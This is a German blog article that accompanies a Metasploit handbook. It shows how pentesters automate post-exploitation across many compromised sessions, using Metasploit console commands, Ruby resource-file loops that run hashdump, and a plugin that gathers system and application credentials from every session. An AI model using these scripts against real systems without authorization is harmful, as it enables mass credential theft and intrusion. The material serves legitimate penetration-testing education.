no one is safe ...

Automatisierungsmöglichkeiten in der Post-Exploitation Phase

Dieser Artikel dient als Ergänzung der Kapitel 4.3.1, Kapitel 5 sowie Kapitel 6.5 meines Buches „Metasploit – Das Handbuch zum Penetration-Testing-Framework“ und behandelt an dieser Stelle nicht alle Aspekte der Automatisierung im Rahmen der Post-Exploitation Phase. Weitere Informationen zu dieser Phase des Pentests lassen sich im Buch nachlesen. Auf der Webseite des dpunkt-Verlags sind zudem mehrere Kapitel im PDF-Format verfügbar.

Automatisierungsmechanismen sind in professionellen Pentests nicht mehr wegzudenken. Bereits in der Pre-Exploitation Phase startet der technische Teil eines Pentests mit der automatisierten Anwendung unterschiedlichster Scanning- bzw. Auxiliary-Module. Diese automatisierte Vorgehensweise ermöglicht eine möglichst schnelle Erfassung der zu analysierende Umgebung und gibt dem Pentester die Informationen die er zur weiteren Analyse benötigt. Auf Basis dieser Informationen werden Passwortangriffe eingeleitet und unter Umständen auch erste Exploitingvorgänge umgesetzt. In dieser folgenden Phase wo es darum geht einen ersten Zugriff zu erlangen, kommen umfangreiche weitere Automatisierungsmechanismen zur Anwendung. Zu diesen gehören eine möglichst einfache Anwendung passender Bruteforce Angriffsmodule sowie die Auswahl möglicher Exploitingmodule. Dabei ist zu beachten, dass eine automatische Anwendung von Exploits im Normalfall nicht erwünscht ist bzw. nur in Spezialfällen genutzt wird. Einer dieser Spezialfälle ist beispielsweise die automatisierte Anwendung des psexec-Moduls um eine umfangreiche Windowsumgebung auf den Pass-the-Hash Angriff zu testen. Wurden im Rahmen dieser Aktivitäten eine oder auch mehrere Sessions erlangt, gilt es die Post-Exploitation Tätigkeiten möglichst effektiv und optimiert umzusetzen.

Möglichkeit 1 - über das Sessionmanagement

Metasploit bietet dafür unterschiedliche Mechanismen und Wege die in weiten Teilen bereits umfangreich in meinem Buch dargestellt wurden. Zu diesen gehört speziell das Sessionmanagement, welches die einfache Anwendung unterschiedlicher Windows-Kommandos und Post-Exploitation Module direkt über das Session-Management umsetzen lässt.

10.8.28.2 - (Sessions: 21 Jobs: 0)> sessions -h
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
    -c <opt>  Run a command on the session given with -i, or all
<snip>
    -s <opt>  Run a script on the session given with -i, or all

  • Systemkommandos:

Windows Systemkommandos lassen sich über das “session”-Kommando mit dem Parameter “-c” an alle oder an ausgewählte Sessions übergeben.

sessions -c ipconfig

  • Meterpreter Scripts:

Die eigentliche Stärke der Post-Exploitation Phase erlangt Metasploit allerdings über Meterpreter- und Post-Exploitation – Skripte. Diese lassen sich mit dem Parameter „-s“ für einzelne oder für alle Sessions anwenden. Um ein solches Script nur auf eine ausgewählte Session anzuwenden lässt sich diese mit dem Parameter „-i angeben.

sessions -s checkvm

Die dargestellte Methode über das Sessionmanagement wird allerdings nicht mehr vollständig unterstützt und entsprechend schlecht gewartet. Die Post-Exploitation Module sind der eigentliche Weg um diese Phase möglichst effektiv umzusetzen.

Möglichkeit 2 - Post Module

Post-Exploitation Module sind der von den Metasploit Entwicklern empfohlene Weg um weite Teile der Post-Exploitation Phase umzusetzen. Diese Module lassen sich direkt in der Metasploit Konsole mit „use“ aufrufen, mit „set“ ist es möglich Optionen zu konfigurieren und mit „run“ ist es möglich diese Module gegen einzelne Session zur Anwendung zu bringen. Eine Beispielhafte Anwendung dieser Module stellt sich folgendermaßen dar:

10.8.28.2 - (Sessions: 21 Jobs: 0)> use post/windows/gather/hashdump
10.8.28.2 - (Sessions: 21 Jobs: 0) post(hashdump) > show options
Module options (post/windows/gather/hashdump):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
10.8.28.2 - (Sessions: 21 Jobs: 0) post(hashdump) > run
[*] [2011.12.21-13:56:55] Obtaining the boot key...
[*] [2011.12.21-13:56:56] Calculating the hboot key using SYSKEY <snip> ...
[*] [2011.12.21-13:56:56] Obtaining the user list and keys...
[*] [2011.12.21-13:57:01] Decrypting user keys...
[*] [2011.12.21-13:57:01] Dumping password hashes...
Administrator:500:<snip>
Guest:501:<snip>
bob:1006:<snip>
[*] Post module execution completed

Da es nicht möglich ist alle vorhandenen Sessions dabei anzugeben, ist eine direkte Automatisierung dieser Module nur bedingt möglich.

Post Module mit IRB Kung Fu

Eine Möglichkeit um dieses Manko zu umgehen beschreibt Mubix auf seinem Blog. Mit grundlegendem Ruby Kung Fu lässt sich dieser Ansatz auch mit dem aktuellen Metasploit Framework bewerkstelligen und es ist dadurch auf einfache Weise möglich in der IRB alle vorhandenen Sessions durchzulaufen und ein ausgewähltes Modul zur Anwendung zu bringen. Soll dabei vorab überprüft werden ob das Betriebssystem der aktuellen Session zum Modul passt, lässt sich das beispielsweise folgendermaßen mit einem Resource File in der folgenden Form bewerkstelligen:

use post/windows/gather/hashdump
<ruby>
if(framework.sessions.length > 0)
        framework.sessions.each_key do |sid|
                session = framework.sessions[sid]
                if(session.platform =~ /win/)   #linux: linux, osx: osx
                        run_single("set SESSION #{sid}")
                        run_single("run")
                end
                sleep 1
        end
else
        print_error("no sessions available")
end
</ruby>

Dieser Code wird in eine Textdatei geschrieben und diese lässt sich zukünftig mit dem „resource“-Kommando aufrufen. Jedes Modul das in Zukunft im Rahmen der Post-Exploitation Phase automatisch genutzt werden soll, muss in dieses Resource File eingetragen werden und mit den dargestellten Codeblock ergänzt werden. Das Modul wird somit mit dem „use“-Befehl ausgewählt, anschl. wird mit den Ruby-Tags in den Ruby Modus (IRB) gewechselt wo mit dem dargestellten Codeblock alle Sessions durchlaufen und bei passender Session (session.patform entspricht in diesem Fall dem Ausdruck „win“) das Modul zur Ausführung gebracht wird. Werden Post-Exploitation Module für Linux Systeme genutzt muss session.platform auf „linux“ geprüft werden und bei OS-X Systemen entsprechend auf „osx“.
Mit dieser Methode ist es sehr einfach möglich die umfassende Post-Exploitation Phase weitgehend automatisiert durchzuführen und sich im Anschluss mit der Auswertung zu beschäftigen. Angehängt an diesen Artikel befindet sich ein Resource File das als Ausgangsbasis für eigene Entwicklungen dienen kann.

Meterpreter Kommandos mit IRB Kung Fu

Neben den Post-Exploitation Modulen sind häufig bereits die grundlegenden Meterpreter Kommandos als erster Schritt dieser Phase überaus hilfreich. Damit der Pentester nicht auf die bekannten und geliebten Funktionen verzichten muss ist es möglich diese in ähnlicher Form wie Post-Exploitation Module mit etwas Ruby Kung Fu in allen Sessions automatisch zur Anwendung zu bringen.
In folgenden Script wird erst der session.type geprüft ob es sich bei der aktuellen Session um eine Meterpreter Session handelt. Ist dies der Fall wird der Rest des Codes abgearbeitet. Mit „session.console.run_single“ ist es im Anschluss möglich typische Meterpreter Kommandos in der jeweiligen Session auszuführen.

<ruby>
if(framework.sessions.length > 0)
        print_status("starting with post exploitation meterpreter commands")
        print_line
        framework.sessions.each_key do |sid|
                session = framework.sessions[sid]
                if(session.type == "meterpreter")
                        ips = session.tunnel_peer.split(":")
                        print_line
                        print_status("Session ID: #{sid} - IP: #{ips[0]}")
                        print_line
                        session.console.run_single("sysinfo")
                        print_line
                        print_status("   User ID:")
                        print_line
                        session.console.run_single("getuid")
                        print_line
                        #<snip> hier kommen weitere Meterpreter Befehle
                end
        end
        sleep 1
else
        print_error("no sessions available")
end
</ruby>

Wurde die Metasploit Konsole wie in Kapitel 2.9 mit den Loggingfunktionen korrekt konfiguriert, lassen sich die eingeholten Informationen über die Logdatei console.log auswerten.

post_auto Plugin von Carlos Perez mit RC-Files

Carlos Perez hat sich dem Manko der automatisierbaren Post-Exploitation Phase ebenfalls angenommen und ein Post-Exploitation Plugin erstellt. Dieses Plugin ist von seiner Webseite bzw. von seinem Git Repository zu beziehen und muss in den „plugins“-Ordner des Frameworks kopiert werden. Sobald es dort platziert ist, lässt es sich mit dem „load“-Befehl in das Framework einbinden. Ein „help“ zeigt die neuen Befehle:

10.8.28.2 - (Sessions: 21 Jobs: 0)> load post_auto
[*] postauto plugin loaded.
[*] Successfully loaded plugin: post_auto
10.8.28.2 - (Sessions: 21 Jobs: 0)> help

Postauto Commands
=================

    Command                    Description
    -------                    -----------
    app_creds                    Run application password collection modules against specified sessions.
    multi_cmd                    Run shell command against several sessions
    multi_meter_cmd      Run a Meterpreter Console Command against specified sessions.
    multi_meter_cmd_rc  Run resource file with Meterpreter Console Commands against specified sessions.
    multi_post                Run a post module against specified sessions.
    multi_post_rc           Run resource file with post modules and options against specified sessions.
    sys_creds                Run system password collection modules against specified sessions.
<snip>

Speziell von Interesse sind die Kommandos sys_creds, app_creds, multi_cmd, multi_meter_cmd und multi_post die im folgenden Abschnitt dargestellt werden. Alle Kommandos dieses Plugins unterstützen mit den Parameter „-s all“ die Anwendung gegen alle aktiven Sessions.

Passwörter und ähnliche Credentials einholen:

Die Kommandos sys_creds und app_creds dienen zur einfachen Ermittlung lokal gespeicherter Passwörter und ähnlicher Credentials.
Bei dem Kommando sys_creds kommen folgende Post-Exploitation Module zur Anwendung:

  • windows/gather/cachedump
  • windows/gather/smart_hashdump
  • osx/gather/hashdump
  • linux/gather/hashdump
  • solaris/gather/hashdump

Mit dem Kommando app_creds kommen unterschiedliche Module zur Ermittlung von Client-Credentials zur Anwendung. Zu diesen gehören folgende Module:

  • wsftp_client
  • winscp
  • windows_autologin
  • vnc
  • trillian
  • total_commander
  • smartftp
  • outlook
  • nimbuzz
  • mremote
  • imail
  • idm
  • flashfxp
  • filezilla_server
  • enum_meebo_pwds
  • coreftp
  • enum_meebo_pwds

Eine Anwendung dieser Module ist sehr einfach in der folgenden Form möglich:

sys_creds -s all
app_creds -s all

An der Stelle von all lassen sich ebenso einzelne Sessions angeben.

Weitere Post-Module zur Anwendung bringen:

Metasploit umfasst derzeit knapp 120 Post-Exploitation Skripte, die unterschiedlichste Tätigkeiten dieser Phase vereinfachen oder erst ermöglichen. Diese Module sind mit dem Kommando „multi_post“ auf alle oder einzelne aktiven Sessions anwendbar. Folgender Aufruf ermöglicht die Anwendung eines Post-Exploitation Moduls gegen alle verfügbaren Sessions.

multi_post -m post/multi/gather/env -s all

Systemkommandos absetzen:

Neben den vorhandenen Post-Exploitation Skripten umfasst eine typische Post-Exploitation Phase ebenso den Einsatz unterschiedlicher Systemkommandos. Solche Systemkommandos lassen sich mit dem Befehl „multi_cmd“ in allen Sessions zur Anwendung bringen.

multi_cmd -c “dir C:\\” -s all

Meterpreter Kommandos absetzen:

Meterpreter Kommandos lassen sich mit „multi_meter_cmd“ anwenden.

multi_meter_cmd -m sysinfo -s all

all together ... Resource-File

Zu guter Letzt sollte jeder Pentester sein eigenes Resource File erstellen, in dem die dargestellten Möglichkeiten nach eigenen Belieben kombiniert und eingesetzt werden. Ein solches Resource File lässt sich in einer bestehenden Session mit dem „resource“-Kommando ausführen:

resource /root/msf-scripts/multi-post-auto.rc

AttachmentSize
multi-post-rc-internal.rc19.67 KB
multi-post-rc.rc5.15 KB